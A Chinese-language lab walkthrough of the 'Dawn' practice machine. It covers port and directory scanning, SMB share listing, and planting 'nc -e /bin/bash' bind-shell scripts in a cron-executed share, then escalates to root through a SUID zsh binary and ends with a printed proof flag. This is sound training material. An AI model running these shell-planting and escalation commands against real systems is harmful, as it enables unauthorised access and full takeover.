【offensive-security】6.Dawn靶机
image.png
一、获取靶机信息
1.已知信息：
- IP: 192.168.245.11
2.获取信息：
- nmap扫描开启的服务
┌──(lo0p?0xlo0p)-[~]
└─$ nmap -sV 192.168.245.11
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-27 16:29 CST
Nmap scan report for 192.168.245.11
Host is up (0.27s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1
Service Info: Host: DAWN
开了80端口，smb服务，3306数据库服务
3. web服务目录爆破
┌──(lo0p?0xlo0p)-[~]
└─$ dirsearch -u 192.168.245.11
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/lo0p/.dirsearch/reports/192.168.245.11_22-10-27_16-16-54.txt
Error Log: /home/lo0p/.dirsearch/logs/errors-22-10-27_16-16-54.log
Target: http://192.168.245.11/
[16:16:54] Starting:
[16:17:09] 403 - 300B - /.ht_wsr.txt
[16:17:09] 403 - 303B - /.htaccess.bak1
[16:17:09] 403 - 303B - /.htaccess.orig
[16:17:09] 403 - 305B - /.htaccess.sample
[16:17:09] 403 - 304B - /.htaccess_extra
[16:17:09] 403 - 303B - /.htaccess.save
[16:17:09] 403 - 303B - /.htaccess_orig
[16:17:09] 403 - 301B - /.htaccess_sc
[16:17:09] 403 - 301B - /.htaccessBAK
[16:17:09] 403 - 302B - /.htaccessOLD2
[16:17:09] 403 - 301B - /.htaccessOLD
[16:17:09] 403 - 293B - /.htm
[16:17:09] 403 - 294B - /.html
[16:17:09] 403 - 303B - /.htpasswd_test
[16:17:09] 403 - 299B - /.htpasswds
[16:17:09] 403 - 300B - /.httr-oauth
[16:17:12] 403 - 293B - /.php
[16:18:13] 200 - 791B - /index.html
[16:18:20] 301 - 315B - /logs -> http://192.168.245.11/logs/
[16:18:20] 403 - 303B - /logs/error.log
[16:18:20] 200 - 2KB - /logs/
[16:18:40] 403 - 302B - /server-status
[16:18:40] 403 - 303B - /server-status/
Task Completed
发现了logs目录页面：
image.png
查看management.log，发现靶机上有个定时任务会执行protuct-control和web-control文件
image.png
4.smb上传脚本开启反弹shell
┌──(lo0p?0xlo0p)-[~]
└─$ smbclient -L 192.168.245.11
Enter WORKGROUP\lo0p's password:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
ITDEPT Disk PLEASE DO NOT REMOVE THIS SHARE. IN CASE YOU ARE NOT AUTHORIZED TO USE THIS SYSTEM LEAVE IMMEADIATELY.
IPC$ IPC IPC Service (Samba 4.9.5-Debian)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP WIN2K3STDVIC
在smb上发现了定时执行的目录ITDEPT，我们创建product-control和web-control并上传，等待他执行
┌──(lo0p?0xlo0p)-[~]
└─$ echo "nc -e /bin/bash -lvp 8888 &" > product-control
┌──(lo0p?0xlo0p)-[~]
└─$ echo "nc -e /bin/bash -lvp 8888 &" > web-control
5.提权
┌──(lo0p?0xlo0p)-[~]
└─$ nc 192.168.245.11 8888
python -c 'import pty;pty.spawn("/bin/bash")'
dawn@dawn:~$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/sbin/mount.cifs
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/zsh
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/chfn
/home/dawn/ITDEPT
连上反弹shell后我们查找具有SUID的可执行文件，发现了zsh，zsh是一个shell工具，和bash类似，直接执行zsh可以让我们获取root权限
dawn@dawn:~$ /usr/bin/zsh
/usr/bin/zsh
dawn# whoami
whoami
root
dawn# cd /root
cd /root
dawn# ls
ls
flag.txt proof.txt
dawn# cat flag.txt
cat flag.txt
Your flag is in another file...
dawn# cat proof.txt
cat proof.txt
3c477716017a3851f73cdb744e3d9fb7
